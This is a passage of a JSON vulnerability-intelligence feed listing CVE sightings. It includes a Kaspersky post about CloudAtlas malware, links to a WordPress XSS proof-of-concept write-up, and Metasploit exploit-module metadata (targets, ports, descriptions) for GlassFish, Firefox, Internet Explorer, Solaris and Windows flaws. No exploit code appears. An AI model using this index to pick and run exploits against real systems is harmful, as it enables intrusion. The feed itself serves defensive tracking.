\u0437\u043b\u043e\u0432\u0440\u0435\u0434\u0430\u0445 \u043d\u0430 \u0431\u0430\u0437\u0435 PowerShell \u0438 VBS.\n\u00a0\n\u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0444\u0430\u043a\u0442\u044b \u043e \u043d\u043e\u0432\u043e\u043c \u0437\u043b\u043e\u0432\u0440\u0435\u0434\u0435:\n\ud83d\udd35\u041d\u0430\u0447\u0430\u043b\u043e \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u043d\u0435\u0438\u0437\u043c\u0435\u043d\u043d\u044b\u043c \u2014 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0440\u0430\u0441\u0441\u044b\u043b\u0430\u044e\u0442 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u043f\u0438\u0441\u044c\u043c\u0430 \u0441 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c\u0438 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c\u0438, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0444\u043e\u0440\u043c\u0443\u043b CVE-2018-0802.\n\ud83d\udd35\u041f\u0440\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0441\u0432\u044f\u0437\u0438 \u0441 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0432\u0440\u0435\u0434 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b \u2014 \u0432 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0435\u043a\u0442\u0430\u043c\u0438 Trello. \u0417\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043e\u043d \u0440\u0430\u0437\u043c\u0435\u0449\u0430\u0435\u0442 \u0432 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044f\u0445 \u043a\u0430\u0440\u0442\u043e\u0447\u0435\u043a \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432.\n\ud83d\udd35\u0417\u043b\u043e\u0432\u0440\u0435\u0434 \u0443\u043c\u0435\u0435\u0442 \u0432\u044b\u044f\u0432\u043b\u044f\u0442\u044c \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u0440\u0435\u0434\u044b, \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b \u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043e\u0442\u043b\u0430\u0434\u0447\u0438\u043a\u0430.\n\ud83d\udd35\u2060\u041f\u043e\u0441\u043b\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0433\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430 CloudAtlasGo \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0435\u0442\u044c \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0437\u0430\u0440\u0430\u0436\u0451\u043d\u043d\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0440\u043e\u043a\u0441\u0438 \u0434\u043b\u044f \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b \u0437\u043b\u043e\u0432\u0440\u0435\u0434\u0430, \u0441\u0445\u0435\u043c\u044b \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0438 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u2014 \u0432 \u043d\u0430\u0448\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043d\u0430 Securelist.\n\nKaspersky \ud83d\udc99 \u0412\u041a | \ud83d\udcac Max | \ud83d\udcdd \u0414\u0437\u0435\u043d\n\ud83d\udcac \u041f\u043e\u0440\u0432\u0430\u043b\u0438 \u0434\u0432\u0430 \u0442\u0440\u043e\u044f\u043d\u0430 \u0432 Max", "creation_timestamp": "2026-09-02T01:03:46.807133Z"}, {"uuid": "0aacaeb8-6ef7-4b43-bac8-0cc7cbb3d1a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0800", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/178534", "content": "CVE-2026\u20130800: Unauthenticated Stored Cross-Site Scripting in User Submitted Posts WordPress Plugin\nhttps://balax01.medium.com/cve-2026-0800-unauthenticated-stored-cross-site-scripting-in-user-submitted-posts-wordpress-plugin-303cfeecee1f?source=rss------bug_bounty-5\n\nHi, I\u2019m Balamurugan R.\n\u00a0I am currently an unemployed cybersecurity student and an independent security researcher.Continue reading on Medium \u00bb (https://balax01.medium.com/cve-2026-0800-unauthenticated-stored-cross-site-scripting-in-user-submitted-posts-wordpress-plugin-303cfeecee1f?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-03T02:00:05.267375Z"}, {"uuid": "1c0dd9e4-741d-41e3-a269-1d079718ba55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-0801", "type": "published-proof-of-concept", "source": "Telegram/wM44PB7rs9Na_M_NX9_ZEY8E_RYf0GtNF8Am5ZddqV3Wors", "content": "", "creation_timestamp": "2026-09-03T08:00:04.589527Z"}, {"uuid": "18e3b12f-f188-4d66-be16-1874f9e5c855", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-0801", "type": "published-proof-of-concept", "source": "Telegram/wM44PB7rs9Na_M_NX9_ZEY8E_RYf0GtNF8Am5ZddqV3Wors", "content": "", "creation_timestamp": "2026-09-04T00:00:57.205131Z"}, {"uuid": "02133b65-e5e8-4fe8-b1ab-cd2ea0073968", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0800", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/178534", "content": "CVE-2026\u20130800: Unauthenticated Stored Cross-Site Scripting in User Submitted Posts WordPress Plugin\nhttps://balax01.medium.com/cve-2026-0800-unauthenticated-stored-cross-site-scripting-in-user-submitted-posts-wordpress-plugin-303cfeecee1f?source=rss------bug_bounty-5\n\nHi, I\u2019m Balamurugan R.\n\u00a0I am currently an unemployed cybersecurity student and an independent security researcher.Continue reading on Medium \u00bb (https://balax01.medium.com/cve-2026-0800-unauthenticated-stored-cross-site-scripting-in-user-submitted-posts-wordpress-plugin-303cfeecee1f?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-04T00:01:06.306459Z"}, {"uuid": "e92f3963-97df-4070-9e91-7489f105e952", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-0807", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/glassfish_login.rb", "content": "{\"actions\": [], \"aliases\": [], \"arch\": \"\", \"author\": [\"Joshua Abraham \", \"sinn3r \"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": false, \"default_credential\": false, \"description\": \"This module attempts to login to GlassFish instance using username and password\\n        combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options.\\n        It will also try to do an authentication bypass against older versions of GlassFish.\\n        Note: by default, GlassFish 4.0 requires HTTPS, which means you must set the SSL option\\n        to true, and SSLVersion to TLS1. It also needs Secure Admin to access the DAS remotely.\", \"disclosure_date\": null, \"fullname\": \"auxiliary/scanner/http/glassfish_login\", \"is_install_path\": true, \"mod_time\": \"2025-06-20 13:20:44 +0000\", \"name\": \"GlassFish Brute Force Utility\", \"needs_cleanup\": false, \"notes\": {}, \"path\": \"/modules/auxiliary/scanner/http/glassfish_login.rb\", \"platform\": \"\", \"post_auth\": true, \"rank\": 300, \"ref_name\": \"scanner/http/glassfish_login\", \"references\": [\"CVE-2011-0807\", \"OSVDB-71948\"], \"rport\": 4848, \"session_types\": false, \"targets\": null, \"type\": \"auxiliary\"}", "creation_timestamp": "2026-09-08T06:47:32.646063Z"}, {"uuid": "0a7e2474-6b44-459b-97e8-79345245e47c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-0800", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/ssl/ssl_version.rb", "content": "{\"actions\": [], \"aliases\": [\"auxiliary/scanner/http/ssl\", \"auxiliary/scanner/http/ssl_version\"], \"arch\": \"\", \"author\": [\"todb \", \"et \", \"Chris John Riley\", \"Veit Hailperin \", \"h00die\"], \"autofilter_ports\": [], \"autofilter_services\": [], \"check\": false, \"default_credential\": false, \"description\": \"Check if a server supports a given version of SSL/TLS and cipher suites.\\n\\n        The certificate is stored in loot, and any known vulnerabilities against that\\n        SSL version and cipher suite combination are checked. These checks include\\n        POODLE, deprecated protocols, expired/not valid certs, low key strength, null cipher suites,\\n        certificates signed with MD5, DROWN, RC4 ciphers, exportable ciphers, LOGJAM, and BEAST.\", \"disclosure_date\": \"2014-10-14\", \"fullname\": \"auxiliary/scanner/ssl/ssl_version\", \"is_install_path\": true, \"mod_time\": \"2026-06-17 11:11:50 +0000\", \"name\": \"SSL/TLS Version Detection\", \"needs_cleanup\": false, \"notes\": {}, \"path\": \"/modules/auxiliary/scanner/ssl/ssl_version.rb\", \"platform\": \"\", \"post_auth\": false, \"rank\": 300, \"ref_name\": \"scanner/ssl/ssl_version\", \"references\": [\"URL-https://security.googleblog.com/2014/10/this-poodle-bites-exploiting-ssl-30.html\", \"CVE-2014-3566\", \"URL-http://web.archive.org/web/20240319071045/https://www.openssl.org/~bodo/ssl-poodle.pdf\", \"URL-https://datatracker.ietf.org/doc/rfc8996/\", \"URL-https://datatracker.ietf.org/doc/html/rfc6176\", \"URL-https://datatracker.ietf.org/doc/html/rfc7568\", \"URL-https://www.win.tue.nl/hashclash/rogue-ca/\", \"CWE-328\", \"URL-https://drownattack.com/\", \"CVE-2016-0800\", \"CVE-2011-3389\", \"URL-http://web.archive.org/web/20240607160328/https://www.isg.rhul.ac.uk/tls/\", \"CVE-2013-2566\", \"CVE-2015-4000\", \"CVE-2022-3358\", \"CWE-319\", \"CWE-298\", \"CWE-327\", \"CWE-326\"], \"rport\": 443, \"session_types\": false, \"targets\": null, \"type\": \"auxiliary\"}", "creation_timestamp": "2026-09-08T06:48:10.186869Z"}, {"uuid": "28dc1178-f70d-4f16-ae51-012c7558d0ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2001-0800", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/irix/lpd/tagprinter_exec.rb", "content": "{\"aliases\": [], \"arch\": \"cmd\", \"author\": [\"optyx \", \"hdm \"], \"autofilter_ports\": [], \"autofilter_services\": [], \"check\": true, \"default_credential\": false, \"description\": \"This module exploits an arbitrary command execution flaw in\\n          the in.lpd service shipped with all versions of Irix.\", \"disclosure_date\": \"2001-09-01\", \"fullname\": \"exploit/irix/lpd/tagprinter_exec\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 11:59:31 +0000\", \"name\": \"Irix LPD tagprinter Command Execution\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/irix/lpd/tagprinter_exec.rb\", \"platform\": \"Irix,Unix\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"irix/lpd/tagprinter_exec\", \"references\": [\"CVE-2001-0800\", \"OSVDB-8573\"], \"rport\": 515, \"session_types\": false, \"targets\": [\"Automatic Target\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:48:19.601919Z"}, {"uuid": "4fad1594-5160-4be8-b2ce-d192ab4daaf0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2015-0802", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/browser/firefox_pdfjs_privilege_escalation.rb", "content": "{\"aliases\": [], \"arch\": \"firefox, x86, x86_64, x64, mips, mipsle, mipsbe, mips64, mips64le, ppc, ppce500v2, ppc64, ppc64le, cbea, cbea64, sparc, sparc64, armle, armbe, aarch64, cmd, php, tty, java, ruby, dalvik, python, nodejs, zarch, r, riscv32be, riscv32le, riscv64be, riscv64le, loongarch64\", \"author\": [\"Unknown\", \"Marius Mlynski\", \"joev \"], \"autofilter_ports\": [], \"autofilter_services\": [], \"check\": false, \"default_credential\": false, \"description\": \"This module gains remote code execution on Firefox 35-36 by abusing a\\n          privilege escalation bug in resource:// URIs. PDF.js is used to exploit\\n          the bug. This exploit requires the user to click anywhere on the page to\\n          trigger the vulnerability.\", \"disclosure_date\": \"2015-03-31\", \"fullname\": \"exploit/multi/browser/firefox_pdfjs_privilege_escalation\", \"is_install_path\": true, \"mod_time\": \"2025-06-23 12:43:46 +0000\", \"name\": \"Firefox PDF.js Privileged Javascript Injection\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"unknown-reliability\"], \"SideEffects\": [\"unknown-side-effects\"], \"Stability\": [\"unknown-stability\"]}, \"path\": \"/modules/exploits/multi/browser/firefox_pdfjs_privilege_escalation.rb\", \"platform\": \"Firefox,Java,Linux,OSX,Solaris,Windows\", \"post_auth\": false, \"rank\": 0, \"ref_name\": \"multi/browser/firefox_pdfjs_privilege_escalation\", \"references\": [\"CVE-2015-0816\", \"CVE-2015-0802\"], \"rport\": null, \"session_types\": false, \"targets\": [\"Universal (Javascript XPCOM Shell)\", \"Native Payload\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:49:35.500713Z"}, {"uuid": "3bc176e4-ccf1-4ec2-860e-23d15d3f7549", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2015-0802", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/browser/firefox_proxy_prototype.rb", "content": "{\"aliases\": [], \"arch\": \"firefox, x86, x86_64, x64, mips, mipsle, mipsbe, mips64, mips64le, ppc, ppce500v2, ppc64, ppc64le, cbea, cbea64, sparc, sparc64, armle, armbe, aarch64, cmd, php, tty, java, ruby, dalvik, python, nodejs, zarch, r, riscv32be, riscv32le, riscv64be, riscv64le, loongarch64\", \"author\": [\"joev \"], \"autofilter_ports\": [], \"autofilter_services\": [], \"check\": false, \"default_credential\": false, \"description\": \"This exploit gains remote code execution on Firefox 31-34 by abusing a bug in the XPConnect\\n          component and gaining a reference to the privileged chrome:// window. This exploit\\n          requires the user to click anywhere on the page to trigger the vulnerability.\", \"disclosure_date\": \"2014-01-20\", \"fullname\": \"exploit/multi/browser/firefox_proxy_prototype\", \"is_install_path\": true, \"mod_time\": \"2025-06-23 12:43:46 +0000\", \"name\": \"Firefox Proxy Prototype Privileged Javascript Injection\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"unknown-reliability\"], \"SideEffects\": [\"unknown-side-effects\"], \"Stability\": [\"unknown-stability\"]}, \"path\": \"/modules/exploits/multi/browser/firefox_proxy_prototype.rb\", \"platform\": \"Firefox,Java,Linux,OSX,Solaris,Windows\", \"post_auth\": false, \"rank\": 0, \"ref_name\": \"multi/browser/firefox_proxy_prototype\", \"references\": [\"CVE-2014-8636\", \"CVE-2015-0802\", \"URL-https://bugzilla.mozilla.org/show_bug.cgi?id=1120261\", \"URL-https://www.rapid7.com/blog/post/2015/03/23/r7-2015-04-disclosure-mozilla-firefox-proxy-prototype-rce-cve-2014-8636\"], \"rport\": null, \"session_types\": false, \"targets\": [\"Universal (Javascript XPCOM Shell)\", \"Native Payload\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:49:35.901205Z"}, {"uuid": "793df64e-5bd5-483f-9352-467e973511a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-0807", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/glassfish_deployer.rb", "content": "{\"aliases\": [], \"arch\": \"java, x86\", \"author\": [\"juan vazquez \", \"Joshua Abraham \", \"sinn3r \"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": false, \"default_credential\": false, \"description\": \"This module logs in to a GlassFish Server (Open Source or Commercial) using various\\n          methods (such as authentication bypass, default credentials, or user-supplied login),\\n          and deploys a malicious war file in order to get remote code execution. It has been\\n          tested on Glassfish 2.x, 3.0, 4.0 and Sun Java System Application Server 9.x. Newer\\n          GlassFish versions do not allow remote access (Secure Admin) by default, but is required\\n          for exploitation.\", \"disclosure_date\": \"2011-08-04\", \"fullname\": \"exploit/multi/http/glassfish_deployer\", \"is_install_path\": true, \"mod_time\": \"2025-12-17 17:11:13 +0000\", \"name\": \"Sun/Oracle GlassFish Server Authenticated Code Execution\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"unknown-reliability\"], \"SideEffects\": [\"unknown-side-effects\"], \"Stability\": [\"unknown-stability\"]}, \"path\": \"/modules/exploits/multi/http/glassfish_deployer.rb\", \"platform\": \"Java,Linux,Windows\", \"post_auth\": true, \"rank\": 600, \"ref_name\": \"multi/http/glassfish_deployer\", \"references\": [\"CVE-2011-0807\", \"OSVDB-71948\", \"ATT&CK-T1021\"], \"rport\": 4848, \"session_types\": false, \"targets\": [\"Automatic\", \"Java Universal\", \"Windows Universal\", \"Linux Universal\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:49:49.091646Z"}, {"uuid": "ed210be2-f83b-4fa8-ba6d-ec9955edf0b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2013-0803", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/polarcms_upload_exec.rb", "content": "{\"aliases\": [], \"arch\": \"php, x86\", \"author\": [\"Fady Mohamed Osman\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"This module exploits a file upload vulnerability found in PolarBear CMS\\n          By abusing the upload.php file, a malicious user can upload a file to a temp\\n          directory without authentication, which results in arbitrary code execution.\", \"disclosure_date\": \"2012-01-21\", \"fullname\": \"exploit/multi/http/polarcms_upload_exec\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 11:58:04 +0000\", \"name\": \"PolarBear CMS PHP File Upload Vulnerability\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"unknown-reliability\"], \"SideEffects\": [\"unknown-side-effects\"], \"Stability\": [\"unknown-stability\"]}, \"path\": \"/modules/exploits/multi/http/polarcms_upload_exec.rb\", \"platform\": \"Linux,PHP\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"multi/http/polarcms_upload_exec\", \"references\": [\"CVE-2013-0803\", \"OSVDB-90627\"], \"rport\": 80, \"session_types\": false, \"targets\": [\"Generic (PHP Payload)\", \"Linux x86\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:50:09.654223Z"}, {"uuid": "67f2f915-c233-4fbc-974a-53d450ce2c95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2001-0803", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/solaris/dtspcd/heap_noir.rb", "content": "{\"aliases\": [], \"arch\": \"sparc\", \"author\": [\"noir \", \"hdm \"], \"autofilter_ports\": [], \"autofilter_services\": [], \"check\": true, \"default_credential\": false, \"description\": \"This is a port of noir's dtspcd exploit. This module should\\n          work against any vulnerable version of Solaris 8 (sparc).\\n          The original exploit code was published in the book\\n          Shellcoder's Handbook.\", \"disclosure_date\": \"2002-07-10\", \"fullname\": \"exploit/solaris/dtspcd/heap_noir\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 11:59:31 +0000\", \"name\": \"Solaris dtspcd Heap Overflow\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"ioc-in-logs\"], \"Stability\": [\"crash-service-restarts\"]}, \"path\": \"/modules/exploits/solaris/dtspcd/heap_noir.rb\", \"platform\": \"Solaris\", \"post_auth\": false, \"rank\": 500, \"ref_name\": \"solaris/dtspcd/heap_noir\", \"references\": [\"CVE-2001-0803\", \"OSVDB-4503\", \"BID-3517\", \"URL-https://web.archive.org/web/20011116020106/http://www.cert.org/advisories/CA-2001-31.html\", \"URL-https://media.wiley.com/product_ancillary/83/07645446/DOWNLOAD/Source_Files.zip\"], \"rport\": 6112, \"session_types\": false, \"targets\": [\"Solaris 8\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:50:32.914045Z"}, {"uuid": "d0b427aa-aeaa-48bc-93cf-ea9b982d974f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2010-0806", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb", "content": "{\"aliases\": [], \"arch\": \"\", \"author\": [\"unknown\", \"Trancer \", \"Nanika\", \"jduck \"], \"autofilter_ports\": [], \"autofilter_services\": [], \"check\": false, \"default_credential\": false, \"description\": \"This module exploits a use-after-free vulnerability within the DHTML behaviors\\n          functionality of Microsoft Internet Explorer versions 6 and 7. This bug was\\n          discovered being used in-the-wild and was previously known as the \\\"iepeers\\\"\\n          vulnerability. The name comes from Microsoft's suggested workaround to block\\n          access to the iepeers.dll file.\\n\\n          According to Nico Waisman, \\\"The bug itself is when trying to persist an object\\n          using the setAttribute, which end up calling VariantChangeTypeEx with both the\\n          source and the destination being the same variant. So if you send as a variant\\n          an IDISPATCH the algorithm will try to do a VariantClear of the destination before\\n          using it. This will end up on a call to PlainRelease which deref the reference\\n          and clean the object.\\\"\\n\\n          NOTE: Internet Explorer 8 and Internet Explorer 5 are not affected.\", \"disclosure_date\": \"2010-03-09\", \"fullname\": \"exploit/windows/browser/ms10_018_ie_behaviors\", \"is_install_path\": true, \"mod_time\": \"2025-06-23 12:43:46 +0000\", \"name\": \"MS10-018 Microsoft Internet Explorer DHTML Behaviors Use After Free\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"unknown-reliability\"], \"SideEffects\": [\"unknown-side-effects\"], \"Stability\": [\"unknown-stability\"]}, \"path\": \"/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb\", \"platform\": \"Windows\", \"post_auth\": false, \"rank\": 400, \"ref_name\": \"windows/browser/ms10_018_ie_behaviors\", \"references\": [\"CVE-2010-0806\", \"OSVDB-62810\", \"BID-38615\", \"URL-https://web.archive.org/web/20100929225343/http://www.avertlabs.com/research/blog/index.php/2010/03/09/targeted-internet-explorer-0day-attack-announced-cve-2010-0806/\", \"URL-https://web.archive.org/web/20120627174253/http://eticanicomana.blogspot.com/2010/03/aleatory-persitent-threat.html\", \"MSB-MS10-018\"], \"rport\": null, \"session_types\": false, \"targets\": [\"(Automatic) IE6, IE7 on Windows NT, 2000, XP, 2003 and Vista\", \"IE 6 SP0-SP2 (onclick)\", \"IE 7.0 (marquee)\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:51:08.943820Z"}, {"uuid": "0609415c-cad4-4e21-82c7-6da144e92c76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2010-0805", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb", "content": "{\"aliases\": [], \"arch\": \"\", \"author\": [\"Unknown\", \"jduck \"], \"autofilter_ports\": [], \"autofilter_services\": [], \"check\": false, \"default_credential\": false, \"description\": \"This module exploits a memory corruption vulnerability in the Internet Explorer\\n          Tabular Data ActiveX Control. Microsoft reports that version 5.01 and 6 of Internet\\n          Explorer are vulnerable.\\n\\n          By specifying a long value as the \\\"DataURL\\\" parameter to this control, it is possible\\n          to write a NUL byte outside the bounds of an array. By targeting control flow data\\n          on the stack, an attacker can execute arbitrary code.\", \"disclosure_date\": \"2010-03-09\", \"fullname\": \"exploit/windows/browser/ms10_018_ie_tabular_activex\", \"is_install_path\": true, \"mod_time\": \"2025-06-23 12:43:46 +0000\", \"name\": \"MS10-018 Microsoft Internet Explorer Tabular Data Control ActiveX Memory Corruption\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"unknown-reliability\"], \"SideEffects\": [\"unknown-side-effects\"], \"Stability\": [\"unknown-stability\"]}, \"path\": \"/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb\", \"platform\": \"Windows\", \"post_auth\": false, \"rank\": 400, \"ref_name\": \"windows/browser/ms10_018_ie_tabular_activex\", \"references\": [\"CVE-2010-0805\", \"OSVDB-63329\", \"BID-39025\", \"ZDI-10-034\", \"MSB-MS10-018\"], \"rport\": null, \"session_types\": false, \"targets\": [\"Automatic (Heap Spray)\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:51:09.035291Z"}, {"uuid": "7a9d909d-ed05-4094-873e-2417d91e289e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0808", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/ntusermndragover.rb", "content": "{\"actions\": [], \"aliases\": [], \"arch\": \"x86\", \"author\": [\"Cl\\u00e9ment Lecigne\", \"Grant Willcox\", \"timwr\"], \"autofilter_ports\": [], \"autofilter_services\": [], \"check\": true, \"default_credential\": false, \"description\": \"This module exploits a NULL pointer dereference vulnerability in\\n          MNGetpItemFromIndex(), which is reachable via a NtUserMNDragOver() system call.\\n\\n          The NULL pointer dereference occurs because the xxxMNFindWindowFromPoint()\\n          function does not effectively check the validity of the tagPOPUPMENU\\n          objects it processes before passing them on to MNGetpItemFromIndex(),\\n          where the NULL pointer dereference will occur.\\n\\n          This module has been tested against Windows 7 x86 SP0 and SP1. Offsets\\n          within the solution may need to be adjusted to work with other versions\\n          of Windows, such as Windows Server 2008.\", \"disclosure_date\": \"2019-03-12\", \"fullname\": \"exploit/windows/local/ntusermndragover\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 11:58:46 +0000\", \"name\": \"Microsoft Windows NtUserMNDragOver Local Privilege Elevation\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": 